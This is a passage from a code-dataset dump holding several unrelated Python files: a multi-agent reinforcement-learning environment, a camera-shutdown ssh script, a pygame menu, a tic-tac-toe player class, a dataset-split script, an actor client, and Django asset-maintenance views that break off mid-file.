enemy_feats = np.zeros((self.n_enemies, nf_en), dtype=np.float32)\n ally_feats = np.zeros((self.n_agents - 1, nf_al), dtype=np.float32)\n own_feats = np.zeros(nf_own, dtype=np.float32)\n resources_feats = np.zeros(2*self.n_resources, np.float32)\n if self.obs_base_resources_amount:\n base_feats = np.zeros(3 + self.n_resources, np.float32)\n else:\n base_feats = np.zeros(3, np.float32)\n barrack_feats = np.zeros(3, np.float32)\n\n if unit.health > 0: # otherwise dead, return all zeros\n x = unit.pos.x\n y = unit.pos.y\n sight_range = self.unit_sight_range(agent_id)\n\n # Movement features\n avail_actions = self.get_avail_agent_actions(agent_id)\n for m in range(self.n_actions_move):\n move_feats[m] = avail_actions[m + 2]\n\n ind = self.n_actions_move\n\n # Enemy features\n for e_id, e_unit in self.enemies.items():\n e_x = e_unit.pos.x\n e_y = e_unit.pos.y\n dist = self.distance(x, y, e_x, e_y)\n\n if (\n dist < sight_range and e_unit.health > 0\n ): # visible and alive\n # Sight range > shoot range\n enemy_feats[e_id, 0] = avail_actions[\n self.n_actions_no_attack + e_id\n ] # available\n enemy_feats[e_id, 1] = dist / sight_range # distance\n enemy_feats[e_id, 2] = (e_x - x) / sight_range # relative X\n enemy_feats[e_id, 3] = (e_y - y) / sight_range # relative Y\n\n ind = 4\n if self.obs_all_health or self.obs_enemy_health:\n enemy_feats[e_id, ind] = (\n e_unit.health / e_unit.health_max\n ) # health\n ind += 1\n\n # Ally features\n al_ids = [\n al_id for al_id in range(self.n_agents) if al_id != agent_id\n ]\n for i, al_id in enumerate(al_ids):\n\n al_unit = self.get_unit_by_id(al_id)\n al_x = al_unit.pos.x\n al_y = al_unit.pos.y\n dist = self.distance(x, y, al_x, al_y)\n\n if (dist < sight_range and al_unit.health > 0): # visible and alive\n ally_feats[i, 0] = 1 # visible\n ally_feats[i, 1] = dist / sight_range # distance\n ally_feats[i, 2] = (al_x - x) / sight_range # relative X\n ally_feats[i, 3] = (al_y - y) / sight_range # relative Y\n\n ind = 4\n if self.obs_all_health:\n ally_feats[i, ind] = (\n al_unit.health / al_unit.health_max\n ) # health\n ind += 1\n\n if self.obs_last_action:\n ally_feats[i, ind:] = self.last_action[al_id]\n\n # Own features\n ind = 0\n if self.obs_own_health:\n own_feats[ind] = unit.health / unit.health_max\n ind += 1\n own_feats[ind] = float(unit.loaded)\n ind += 1\n for resource_i in range(self.n_resources):\n own_feats[ind] = float(unit.resources_loaded[resource_i])\n ind += 1\n\n x = unit.pos.x\n y = unit.pos.y\n sight_range = self.unit_sight_range(agent_id)\n\n for res_i in range(self.n_resources):\n resources_feats[res_i*2] = (self.resources[res_i].pos.x - x) / sight_range\n resources_feats[res_i*2+1] = (self.resources[res_i].pos.y - y) / sight_range\n\n base_feats[0] = (self.base_x - x) / sight_range\n base_feats[1] = (self.base_y - y) / sight_range\n base_feats[2] = self.base.health / self.base.max_health\n if self.obs_base_resources_amount:\n for res_i in range(self.n_resources):\n base_feats[3 + res_i] = self.base.resources_amount[res_i] / self.episode_limit * 10\n\n if self.has_barrack:\n barrack_feats[0] = (self.barrack_x - x) / sight_range\n barrack_feats[1] = (self.barrack_y - y) / sight_range\n barrack_feats[2] = self.barrack.health / self.barrack.max_health\n\n if self.obs_resources:\n agent_obs = np.concatenate(\n (\n move_feats.flatten(),\n enemy_feats.flatten(),\n ally_feats.flatten(),\n own_feats.flatten(),\n resources_feats.flatten(),\n base_feats.flatten()\n )\n )\n else:\n agent_obs = np.concatenate(\n (\n move_feats.flatten(),\n enemy_feats.flatten(),\n ally_feats.flatten(),\n own_feats.flatten(),\n base_feats.flatten()\n )\n )\n\n if self.has_barrack:\n agent_obs = np.concatenate(\n (\n agent_obs,\n barrack_feats.flatten()\n )\n )\n\n return agent_obs\n\n def get_obs(self):\n \"\"\"Returns all agent observations in a list.\n NOTE: Agents should have access only to their local observations\n during decentralised execution.\n \"\"\"\n agents_obs = [self.get_obs_agent(i) for i in range(self.n_agents)]\n return agents_obs\n\n def get_state(self):\n \"\"\"Returns the global state.\n NOTE: This functon should not be used during decentralised execution.\n \"\"\"\n if self.obs_instead_of_state:\n obs_concat = np.concatenate(self.get_obs(), axis=0).astype(\n np.float32\n )\n return obs_concat\n\n nf_al = 3 + 1 + self.n_resources\n nf_en = 3\n\n ally_state = np.zeros((self.n_agents, nf_al))\n enemy_state = np.zeros((self.n_enemies, nf_en))\n\n center_x = self.map_x / 2\n center_y = self.map_y / 2\n\n for al_id, al_unit in self.agents.items():\n if al_unit.health > 0:\n x = al_unit.pos.x\n y = al_unit.pos.y\n\n ally_state[al_id, 0] = (al_unit.health / al_unit.health_max) # health\n ally_state[al_id, 1] = (x - center_x) / self.map_x # relative X\n ally_state[al_id, 2] = (y - center_y) / self.map_y # relative Y\n ally_state[al_id, 3] = float(al_unit.loaded)\n ind = 4\n for resource_i in range(self.n_resources):\n ally_state[al_id, ind] = float(al_unit.resources_loaded[resource_i])\n ind += 1\n\n for e_id, e_unit in self.enemies.items():\n if e_unit.health > 0:\n x = e_unit.pos.x\n y = e_unit.pos.y\n\n enemy_state[e_id, 0] = (e_unit.health / e_unit.health_max) # health\n enemy_state[e_id, 1] = (x - center_x) / self.map_x # relative X\n enemy_state[e_id, 2] = (y - center_y) / self.map_y # relative Y\n\n ind = 3\n\n state = np.append(ally_state.flatten(), enemy_state.flatten())\n if self.state_last_action:\n state = np.append(state, self.last_action.flatten())\n\n for resource_i in range(self.n_resources):\n state = np.append(state, np.array([(self.resources[resource_i].pos.x-center_x) / self.map_x,\n (self.resources[resource_i].pos.y-center_y) / self.map_y]))\n\n if self.obs_base_resources_amount:\n state = np.append(state, np.array([(self.base_x - center_x) / self.map_x,\n (self.base_y - center_y) / self.map_y,\n self.base.health / self.base.max_health] +\n [ras / self.episode_limit for ras in self.base.resources_amount]))\n else:\n state = np.append(state, np.array([(self.base_x - center_x) / self.map_x,\n (self.base_y - center_y) / self.map_y,\n self.base.health / self.base.max_health]))\n\n if self.has_barrack:\n state = np.append(state, np.array([(self.barrack_x - center_x) / self.map_x,\n (self.barrack_y - center_y) / self.map_y,\n self.barrack.health / self.barrack.max_health]))\n state = state.astype(dtype=np.float32)\n\n return state\n\n def get_obs_size(self):\n \"\"\"Returns the size of the observation.\"\"\"\n nf_al = 4\n nf_en = 4\n\n if self.obs_all_health:\n nf_al += 1\n nf_en += 1\n\n if self.obs_enemy_health:\n nf_en += 1\n\n own_feats = 1 + self.n_resources\n if self.obs_own_health:\n own_feats += 1\n\n if self.obs_last_action:\n nf_al += self.n_actions\n\n move_feats = self.n_actions_move\n\n enemy_feats = self.n_enemies * nf_en\n ally_feats = (self.n_agents - 1) * nf_al\n\n if self.obs_base_resources_amount:\n base_feats = self.n_resources + 3 # TODO: Add n_resources? If so, role can be dynamic. Thus, leave it only for now\n else:\n base_feats = 3\n\n resources_feats = 2 * self.n_resources if self.obs_resources else 0\n barrack_feats = 3 if self.has_barrack else 0\n\n return move_feats + enemy_feats + ally_feats + own_feats + base_feats + resources_feats + barrack_feats\n\n def get_state_size(self):\n \"\"\"Returns the size of the global state.\"\"\"\n if self.obs_instead_of_state:\n return self.get_obs_size() * self.n_agents\n\n nf_al = 3 + 1 + self.n_resources\n nf_en = 3\n\n enemy_state = self.n_enemies * nf_en\n ally_state = self.n_agents * nf_al\n\n size = enemy_state + ally_state\n\n if self.state_last_action:\n size += self.n_agents * self.n_actions\n\n if self.obs_base_resources_amount:\n size += 3 + self.n_resources + 2 * self.n_resources\n else:\n size += 3 + 2 * self.n_resources\n\n if self.has_barrack:\n size += 3\n\n return size\n\n def check_bounds(self, x, y):\n \"\"\"Whether a point is within the map bounds.\"\"\"\n return (1 <= x <= self.map_x and 1 <= y <= self.map_y)\n\n def can_move(self, unit, direction):\n \"\"\"Whether a unit can move in a given direction.\"\"\"\n m = self._move_amount\n\n if direction == Direction.NORTH:\n x, y = int(unit.pos.x), int(unit.pos.y + m)\n elif direction == Direction.SOUTH:\n x, y = int(unit.pos.x), int(unit.pos.y - m)\n elif direction == Direction.EAST:\n x, y = int(unit.pos.x + m), int(unit.pos.y)\n else:\n x, y = int(unit.pos.x - m), int(unit.pos.y)\n\n if self.check_bounds(x, y):\n return True\n\n return False\n\n def can_reach(self, pos1, pos2):\n return ((abs(pos1.x - pos2.x) <= 0) and (abs(pos1.y - pos2.y) <= 0))\n\n def get_avail_agent_actions(self, agent_id):\n \"\"\"Returns the available actions for agent_id.\"\"\"\n unit = self.get_unit_by_id(agent_id)\n if unit.health > 0:\n # cannot choose no-op when alive\n avail_actions = [0] * self.n_actions\n\n # stop should be allowed\n avail_actions[1] = 1\n\n # see if we can move\n if self.can_move(unit, Direction.NORTH):\n avail_actions[2] = 1\n if self.can_move(unit, Direction.SOUTH):\n avail_actions[3] = 1\n if self.can_move(unit, Direction.EAST):\n avail_actions[4] = 1\n if self.can_move(unit, Direction.WEST):\n avail_actions[5] = 1\n\n # Can attack only alive units that are alive in the shooting range\n shoot_range = self.unit_shoot_range(agent_id)\n\n target_items = self.enemies.items()\n\n for t_id, t_unit in target_items:\n if t_unit.health > 0:\n if self.can_reach(unit.pos, t_unit.pos):\n avail_actions[t_id + self.n_actions_no_attack] = 1\n\n index = self.n_actions_no_attack + self.n_enemies\n\n for res_i in range(self.n_resources):\n if unit.resources_loaded[res_i] and unit.loaded: # Put Down\n if self.can_reach(unit.pos, self.base.pos):\n avail_actions[index + res_i * 2 + 1] = 1\n\n if not unit.loaded: # Gather\n if self.can_reach(unit.pos, self.resources[res_i].pos):\n avail_actions[index + res_i * 2] = 1\n\n return avail_actions\n else:\n # only no-op allowed\n return [1] + [0] * (self.n_actions - 1)\n\n def get_avail_actions(self):\n \"\"\"Returns the available actions of all agents in a list.\"\"\"\n avail_actions = []\n for agent_id in range(self.n_agents):\n avail_agent = self.get_avail_agent_actions(agent_id)\n avail_actions.append(avail_agent)\n return avail_actions\n\n def seed(self):\n \"\"\"Returns the random seed used by the environment.\"\"\"\n return self._seed\n\n def render(self):\n \"\"\"Not implemented.\"\"\"\n pass\n\n def get_unit_by_id(self, a_id):\n \"\"\"Get unit by ID.\"\"\"\n return self.agents[a_id]\n\n def get_stats(self):\n stats = {\n \"battles_won\": self.battles_won,\n \"battles_game\": self.battles_game,\n \"battles_draw\": self.timeouts,\n \"win_rate\": self.battles_won / self.battles_game,\n \"timeouts\": self.timeouts,\n \"restarts\": self.force_restarts,\n }\n return stats\n\n def get_own_feature_size(self):\n return self.get_obs_size()\n\n def close(self):\n return\n\n def save_replay(self):\n return\n\n def get_shield_bits_ally(self):\n return 0\n def get_unit_type_bits(self):\n return 0\n def get_map_size(self):\n return (self.map_x, self.map_y)\n\n def get_health_max(self):\n return [0 for _ in range(self.n_agents)]\n\n def get_shield_max(self):\n return [0 for _ in range(self.n_agents)]\n\n\nif __name__ == '__main__':\n env = GatherDefendEnv()\n env.reset()\n print(env.get_obs_size())\n print(env.get_state_size())\n\n for t in range(150):\n actions = []\n avail_actions = env.get_avail_actions()\n for agent_i in range(10):\n action = 0\n while True:\n action = random.randint(0, 11)\n\n if avail_actions[agent_i][action]:\n break\n\n actions.append(action)\n\n reward, terminate, info = env.step(actions)\n\n print(\">>>\", t)\n print(\"state size:\", env.get_state().shape)\n print(\"obs size:\", env.get_obs_agent(0).shape)\n print(\"reward:\", reward)\n print(env.base.pos.x, env.base.pos.y, env.resources[0].pos.x, env.resources[0].pos.y)\n for i in range(10):\n print(env.agents[i].pos.x, env.agents[i].pos.y, env.agents[i].resources_loaded)\n\n for i in range(2):\n print(env.enemies[i].pos.x, env.enemies[i].pos.y, env.enemies[i].health)\n\n print(\"base health:\", env.base.health)\n print(env.base.resources_amount)\n\n print('\\n\\n\\n\\n')\n\n if terminate:\n break","sub_path":"src/envs/gather_and_defend.py","file_name":"gather_and_defend.py","file_ext":"py","file_size_in_byte":38918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"68153328","text":"import os\nimport json\nimport sys, getopt\n# os.system(\"kill -9 $(ps -aux | grep RP_sync.py | awk '{print $2}')\")\n# os.system(\"kill -9 $(ps -aux | grep modified_filter_twoCameras.py | awk '{print $2}')\")\n# os.system(\"kill -9 $(ps -aux | grep axis_cameras_single_cam_v2_copy.py | awk '{print $2}')\")\n\nwith open(\"./room_information.json\") as f:\n\tinfo = json.load(f)\n\ntry:\n\topts, args = getopt.getopt(sys.argv[1:], \"R:\")\nexcept getopt.GetoptError:\n\tprint(\"Error\")\n\tsys.exit()\n\nfor opt, arg in opts:\n\tif opt in (\"-R\", \"roomnum\"):\n\t\troomnum = int(arg)\n\nfor ip in info[roomnum - 1]['thermal']:\n\tprint(\"ssh \" + ip['thermal_ip'] + \" python3 end.py\")\n\tos.system(\"ssh \" + ip['thermal_ip'] + \" python3 end.py &\")","sub_path":"COSSY-stop.py","file_name":"COSSY-stop.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"109821557","text":"import pygame\nfrom Scenes import Scene\nfrom Shared.GameConstants import GameConstants\n\n\nclass MenuScene(Scene):\n\n def __init__(self, game):\n super(MenuScene, self).__init__(game)\n\n self.addText(\"F1 - Start Game\", x=300, y=400, size=30)\n self.addText(\"F2 - High Scores\", x=300, y=440, size=30)\n self.addText(\"F3 - Quit\", x=300, y=480, size=30)\n\n sprite = pygame.image.load(GameConstants.SPRITE_MENU).convert_alpha()\n self.__menuSprite = pygame.transform.smoothscale(sprite, GameConstants.SCREEN_SIZE)\n\n def render(self):\n self.getGame().screen.blit(self.__menuSprite, (0, 0))\n super(MenuScene, self).render()\n\n def handleEvents(self, events):\n super(MenuScene, self).handleEvents(events)\n\n for event in events:\n if event.type == pygame.QUIT:\n exit()\n\n if event.type == pygame.KEYDOWN:\n if event.type == pygame.K_ESCAPE:\n exit()\n if event.key == pygame.K_F1:\n self.getGame().changeScene(GameConstants.PLAYING_SCENE)\n if event.key == pygame.K_F2:\n self.getGame().changeScene(GameConstants.HIGHSCORE_SCENE)\n if event.key == pygame.K_F3:\n exit()\n","sub_path":"Scenes/MenuScene.py","file_name":"MenuScene.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"569922855","text":"import json\n\n\nclass Player:\n\n \"\"\"\n Class representing a Player\n\n Fields:\n name: str value for a player name\n symbol: str value for the player's board symbol\n \"\"\"\n\n X: int = 1\n O: int = -1\n\n with open('constants.json') as f:\n __constants = json.load(f)\n\n def __init__(self, symbol: str, name: str) -> None:\n\n \"\"\"\n Initializes a new instance with values of the symbol and name parameters as it's instance variables\n\n Args:\n symbol - represents a character of 'X' or 'Y' value\n name - represents a value for the player's nickname\n\n Raises:\n ValueError if the value of the symbol parameter is 'X' or 'O'\n \"\"\"\n\n self.name: str = name\n\n if symbol.lower() == 'x':\n self.symbol: int = self.X\n\n elif symbol.lower() == 'o':\n self.symbol: int = self.O\n\n else:\n raise ValueError(\"Unrecognized symbol value\")\n\n def return_optimal_move(self, board) -> tuple:\n\n while True:\n try:\n move = input(str(Player.__constants['error_player_move']).format(self.name))\n move = tuple([int(x) for x in move.split(' ')])\n return move[0], move[1], None\n\n except:\n print(Player.__constants['error_invalid_move'])\n","sub_path":"src/board/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"591452411","text":"import os\nimport random\nimport shutil\nfrom os import listdir, getcwd\n\ndef split(trainval_percent=0.1,train_percent = 0.9,xml_file_path='xml' ,txt_save_path='ImageSets'):\n total_xml = os.listdir(xml_file_path)\n num = len(total_xml)\n list = range(num)\n tv = int(num * trainval_percent)\n tr = int(tv * train_percent)\n trainval = random.sample(list, tv) #从所有list中返回tv个数量的项目\n train = random.sample(trainval, tr)\n if not os.path.exists(txt_save_path):\n os.makedirs(txt_save_path)\n ftrainval = open(txt_save_path+'/trainval.txt', 'w')\n ftest = open(txt_save_path+'/test.txt', 'w')\n ftrain = open(txt_save_path+'/train.txt', 'w')\n fval = open(txt_save_path+'/val.txt', 'w')\n for i in list:\n name = total_xml[i][:-4] + '\\n'\n if i in trainval:\n ftrainval.write(name)\n if i in train:\n ftest.write(name)\n else:\n fval.write(name)\n else:\n ftrain.write(name)\n ftrainval.close()\n ftrain.close()\n fval.close()\n ftest.close()\n\n sets = ['train', 'trainval']\n wd = getcwd()\n print(wd)\n for image_set in sets:\n image_ids = open('ImageSets/%s.txt' % (image_set)).read().strip().split()\n # print(image_ids)\n image_list_file = open('images_%s.txt' % (image_set), 'w')\n labels_list_file = open('labels_%s.txt' % (image_set), 'w')\n for image_id in image_ids:\n image_list_file.write('%s.png\\n' % (image_id))\n labels_list_file.write('%s.xml\\n' % (image_id))\n image_list_file.close()\n labels_list_file.close()\n\ndef copy_file(new_path,path_txt,search_path):#参数1：存放新文件的位置 参数2：为上一步建立好的train,val训练数据的路径txt文件 参数3：为搜索的文件位置\n if not os.path.exists(new_path):\n os.makedirs(new_path)\n with open(path_txt, 'r') as lines:\n filenames_to_copy = set(line.rstrip() for line in lines)\n # print('filenames_to_copy:',filenames_to_copy)\n # print(len(filenames_to_copy))\n for root, _, filenames in os.walk(search_path):\n # print('root',root)\n # print(_)\n # print(filenames)\n for filename in filenames:\n if filename in filenames_to_copy:\n shutil.copy(os.path.join(root, filename), new_path)\n\nif __name__ == '__main__':\n split()\n #按照划分好的训练文件的路径搜索目标，并将其复制到yolo格式下的新路径\n copy_file('./images_data/train/','./images_train.txt','./images')\n copy_file('./images_data/val/','./images_trainval.txt','./images')\n copy_file('./labels_data/train/','./labels_train.txt','./xml')\n copy_file('./labels_data/val/','./labels_trainval.txt','./xml')\n\n\n","sub_path":"split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"648342421","text":"import logging\nimport random\nimport time\n\nfrom thespian.actors import ActorExitRequest, ActorSystem\n\nfrom thor.actors import DirectoryServer\nfrom thor.clerk import Clerk\n\nKEYSPACE = 1000\n\n\ndef spawn(sys_base, app_id):\n asys = ActorSystem(sys_base)\n clerk = asys.createActor(Clerk, globalName=\"clerk-%d\" % app_id)\n asys.ask(clerk,\n Clerk.View(\n asys.createActor(\n DirectoryServer, globalName=\"directory-server\"),\n KEYSPACE,\n ))\n\n oids = set()\n while len(oids) != 10:\n key_ = random.randint(1, KEYSPACE)\n if key_ in oids:\n continue\n oids.add(key_)\n\n success = False\n while not success:\n time.sleep(0.5)\n trx = asys.ask(clerk, Clerk.Read(list(oids)))\n if trx is False:\n continue\n mods = random.sample(oids, 5)\n for mod in mods:\n trx.write_set[mod] = app_id\n logging.debug(\"Clients initialized\")\n success = asys.ask(clerk, Clerk.Commit(trx))\n print(success)\n\n asys.tell(clerk, ActorExitRequest())\n\n\nif __name__ == \"__main__\":\n spawn(\"multiprocTCPBase\", 0)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"39849989","text":"from django.utils import timezone\nfrom .models import Asset, SMU, PM, Workorder, ModelWorkorder, AssetFilter, SMUFilter, Utilisation, UtilisationFilter, WorkorderFilter, PMFilter, ModelWorkorderFilter\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom .forms import AssetForm, SMUForm, PMForm, WorkorderForm, AssetStatusForm, AssetLocationForm, WorkorderStatusForm, \\\n AssetAddForm, WorkorderCommentForm, WorkorderEditForm, WorkorderCompleteForm, ModelWorkorderForm, UtilisationForm\nfrom django_tables2 import RequestConfig\nfrom .tables import AssetTable, SMUTable, WorkorderTable, PMTable, ModelWorkorderTable, UtilisationTable, WorkorderAssetTable, PMAssetTable, SMUDashboardTable\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.models import User\nimport json\nfrom django.http import HttpResponse\nimport datetime\n\n\n\"\"\"\n Home Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef home(request):\n workorders_as = Workorder.objects.filter(status='AS').count()\n workorders_sc = Workorder.objects.filter(status='SC').count()\n workorders_ap = Workorder.objects.filter(status='AP').count()\n\n data = {\"AS\": workorders_as, \"SC\": workorders_sc, \"AP\": workorders_ap}\n json_string = json.dumps(data)\n\n readings_filtered = SMU.objects.filter(reading_date__lte=datetime.date.today())\n table_smu = SMUDashboardTable(readings_filtered)\n RequestConfig(request).configure(table_smu)\n\n return render(request, 'maintenance/home.html', {'workorders_as': workorders_as, 'workorders_sc': workorders_sc, 'workorders_ap': workorders_ap, 'data': json_string, 'table_smu': table_smu})\n\n\n\"\"\"\n Assets Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef assets(request):\n assets_filtered = AssetFilter(request.GET, queryset=Asset.objects.all())\n table = AssetTable(assets_filtered.qs)\n RequestConfig(request).configure(table)\n return render(request, 'maintenance/assets.html', {'table': table, 'filter': assets_filtered})\n\n\n@login_required(login_url=\"login/\")\ndef asset_view(request, pk):\n asset = get_object_or_404(Asset, pk=pk)\n\n time = datetime.datetime.now()\n time_date = datetime.date(time.year, time.month, time.day)\n overdue = 0\n\n workorders_filtered = Workorder.objects.filter(asset_id=asset.id, status__in=['AC', 'AS']).order_by('start_date')\n\n if workorders_filtered.count() > 0:\n for wo in workorders_filtered:\n if wo.start_date < time_date:\n overdue += 1\n else:\n overdue = 0\n\n if len(workorders_filtered) > 0:\n table_wo = WorkorderAssetTable(workorders_filtered)\n RequestConfig(request).configure(table_wo)\n else:\n table_wo = \"None\"\n\n pms_filtered = PM.objects.filter(asset_id=asset.id)\n\n if len(pms_filtered) > 0:\n table_pm = PMAssetTable(pms_filtered)\n RequestConfig(request).configure(table_pm)\n else:\n table_pm = \"None\"\n\n return render(request, 'maintenance/asset_view.html', {'asset': asset, 'table_wo': table_wo, 'table_pm': table_pm, 'overdue': overdue})\n\n\n@login_required(login_url=\"login/\")\ndef asset_edit(request, pk):\n asset = get_object_or_404(Asset, pk=pk)\n if request.method == \"POST\":\n edit_form = AssetForm(request.POST, instance=asset)\n if edit_form.is_valid():\n asset = edit_form.save(commit=False)\n asset.user = request.user\n asset.last_mod = timezone.now()\n asset.save()\n return redirect('asset_view', pk)\n else:\n edit_form = AssetForm(instance=asset)\n return render(request, 'maintenance/asset_edit.html', {'form': edit_form, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef asset_remove(request, pk):\n asset = get_object_or_404(Asset, pk=pk)\n asset.delete()\n return redirect('assets')\n\n\n@login_required(login_url=\"login/\")\ndef asset_add(request):\n if request.method == \"POST\":\n form = AssetAddForm(request.POST)\n if form.is_valid():\n asset = form.save(commit=False)\n asset.user = request.user\n asset.last_mod = timezone.now()\n asset.created_date = timezone.now()\n asset.save()\n return redirect('assets')\n else:\n form = AssetAddForm()\n return render(request, 'maintenance/asset_add.html', {'form': form})\n\n\n@login_required(login_url=\"login/\")\ndef asset_change_status(request, pk):\n asset = get_object_or_404(Asset, pk=pk)\n if request.method == \"POST\":\n status_form = AssetStatusForm(request.POST, instance=asset)\n if status_form.is_valid():\n asset = status_form.save(commit=False)\n asset.user = request.user\n asset.last_mod = timezone.now()\n asset.save()\n return redirect('asset_view', pk)\n else:\n status_form = AssetStatusForm(instance=asset)\n return render(request, 'maintenance/asset_change_status.html', {'form': status_form, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef asset_change_location(request, pk):\n asset = get_object_or_404(Asset, pk=pk)\n if request.method == \"POST\":\n location_form = AssetLocationForm(request.POST, instance=asset)\n if location_form.is_valid():\n asset = location_form.save(commit=False)\n asset.user = request.user\n asset.last_mod = timezone.now()\n asset.save()\n return redirect('asset_view', pk)\n else:\n location_form = AssetLocationForm(instance=asset)\n return render(request, 'maintenance/asset_change_location.html', {'form': location_form, 'asset': asset})\n\n\n\"\"\"\n Work Orders Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef workorders(request):\n workorders_filtered = WorkorderFilter(request.GET, queryset=Workorder.objects.all())\n table = WorkorderTable(workorders_filtered.qs)\n RequestConfig(request).configure(table)\n return render(request, 'maintenance/workorders.html', {'table': table, 'filter': workorders_filtered})\n\n\n@login_required(login_url=\"login/\")\ndef workorder_view(request, asset_pk, workorder_pk):\n workorder = get_object_or_404(Workorder, pk=workorder_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n return render(request, 'maintenance/workorder_view.html', {'workorder': workorder, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef workorder_edit(request, asset_pk, workorder_pk):\n workorder = get_object_or_404(Workorder, pk=workorder_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n if request.method == \"POST\":\n edit_form = WorkorderEditForm(request.POST, instance=workorder)\n if edit_form.is_valid():\n workorder = edit_form.save(commit=False)\n workorder.save()\n return redirect('workorder_view', asset_pk, workorder_pk)\n else:\n edit_form = WorkorderEditForm(instance=workorder)\n return render(request, 'maintenance/workorder_edit.html', {'form': edit_form, 'asset': asset, 'workorder': workorder})\n\n\n@login_required(login_url=\"login/\")\ndef workorder_comment(request, asset_pk, workorder_pk):\n workorder = get_object_or_404(Workorder, pk=workorder_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n if request.method == \"POST\":\n comment_form = WorkorderCommentForm(request.POST, instance=workorder)\n if comment_form.is_valid():\n workorder = comment_form.save(commit=False)\n workorder.save()\n return redirect('workorder_view', asset_pk, workorder_pk)\n else:\n comment_form = WorkorderCommentForm(instance=workorder)\n return render(request, 'maintenance/workorder_comments.html', {'form': comment_form, 'asset': asset, 'workorder': workorder})\n\n\n@login_required(login_url=\"login/\")\ndef workorder_add(request, asset_pk=None):\n if asset_pk is not None:\n asset_default = get_object_or_404(Asset, pk=asset_pk)\n else:\n asset_default = None\n\n if request.method == \"POST\":\n asset = get_object_or_404(Asset, num=request.POST.get(\"input-asset\"))\n form = WorkorderForm(request.POST)\n if form.is_valid():\n workorder = form.save(commit=False)\n workorder.asset = asset\n workorder.user = request.user\n workorder.created_date = timezone.now()\n workorder.save()\n if asset_default is not None:\n return redirect('asset_view', asset_default.pk)\n else:\n return redirect('workorders')\n else:\n form = WorkorderForm()\n return render(request, 'maintenance/workorder_add.html', {'form': form, 'asset_default': asset_default})\n\n\n@login_required(login_url=\"login/\")\ndef workorder_change_status(request, asset_pk, workorder_pk):\n workorder = get_object_or_404(Workorder, pk=workorder_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n if request.method == \"POST\":\n status_form = WorkorderStatusForm(request.POST, instance=workorder)\n if status_form.is_valid():\n workorder = status_form.save(commit=False)\n workorder.last_mod = timezone.now()\n workorder.save()\n return redirect('workorder_view', asset_pk, workorder_pk)\n else:\n status_form = WorkorderStatusForm(instance=workorder)\n return render(request, 'maintenance/workorder_change_status.html', {'form': status_form, 'workorder': workorder,\n 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef workorder_complete(request, asset_pk, workorder_pk):\n workorder = get_object_or_404(Workorder, pk=workorder_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n\n if workorder.pm is not None:\n pm = get_object_or_404(PM, pk=workorder.pm.pk)\n\n if request.method == \"POST\":\n complete_form = WorkorderCompleteForm(request.POST, instance=workorder)\n if complete_form.is_valid():\n workorder = complete_form.save(commit=False)\n workorder.last_mod = timezone.now()\n\n if complete_form['act_end_date'].value() != \"\":\n workorder.status = 'CO'\n\n workorder.save()\n\n if workorder.pm is not None:\n pm.ld_date = complete_form.cleaned_data['act_start_date']\n pm.ld_smu = complete_form.cleaned_data['reading']\n pm.save()\n\n return redirect('workorder_view', asset_pk, workorder_pk)\n else:\n complete_form = WorkorderCompleteForm(instance=workorder)\n return render(request, 'maintenance/workorder_complete.html', {'form': complete_form, 'workorder': workorder,\n 'asset': asset})\n\n\n\"\"\"\n Model Work Orders Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef model_workorders(request):\n model_workorders_filtered = ModelWorkorderFilter(request.GET, queryset=ModelWorkorder.objects.all())\n table = ModelWorkorderTable(model_workorders_filtered.qs)\n RequestConfig(request).configure(table)\n return render(request, 'maintenance/model_workorders.html', {'table': table, 'filter': model_workorders_filtered})\n\n\n@login_required(login_url=\"login/\")\ndef model_workorder_add(request):\n if request.method == \"POST\":\n form = ModelWorkorderForm(request.POST)\n if form.is_valid():\n workorder = form.save(commit=False)\n workorder.created_date = timezone.now()\n workorder.save()\n return redirect('model_workorders')\n else:\n form = ModelWorkorderForm()\n return render(request, 'maintenance/model_workorder_add.html', {'form': form})\n\n\n@login_required(login_url=\"login/\")\ndef model_workorder_view(request, workorder_pk):\n workorder = get_object_or_404(ModelWorkorder, pk=workorder_pk)\n return render(request, 'maintenance/model_workorder_view.html', {'workorder': workorder})\n\n\n@login_required(login_url=\"login/\")\ndef model_workorder_edit(request, workorder_pk):\n workorder = get_object_or_404(ModelWorkorder, pk=workorder_pk)\n if request.method == \"POST\":\n edit_form = ModelWorkorderForm(request.POST, instance=workorder)\n if edit_form.is_valid():\n workorder = edit_form.save(commit=False)\n workorder.save()\n return redirect('model_workorder_view', workorder_pk)\n else:\n edit_form = ModelWorkorderForm(instance=workorder)\n return render(request, 'maintenance/model_workorder_edit.html', {'form': edit_form, 'workorder': workorder})\n\n\n\"\"\"\n Preventative Maintenance Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef pms(request):\n pms_filtered = PMFilter(request.GET, queryset=PM.objects.all())\n table = 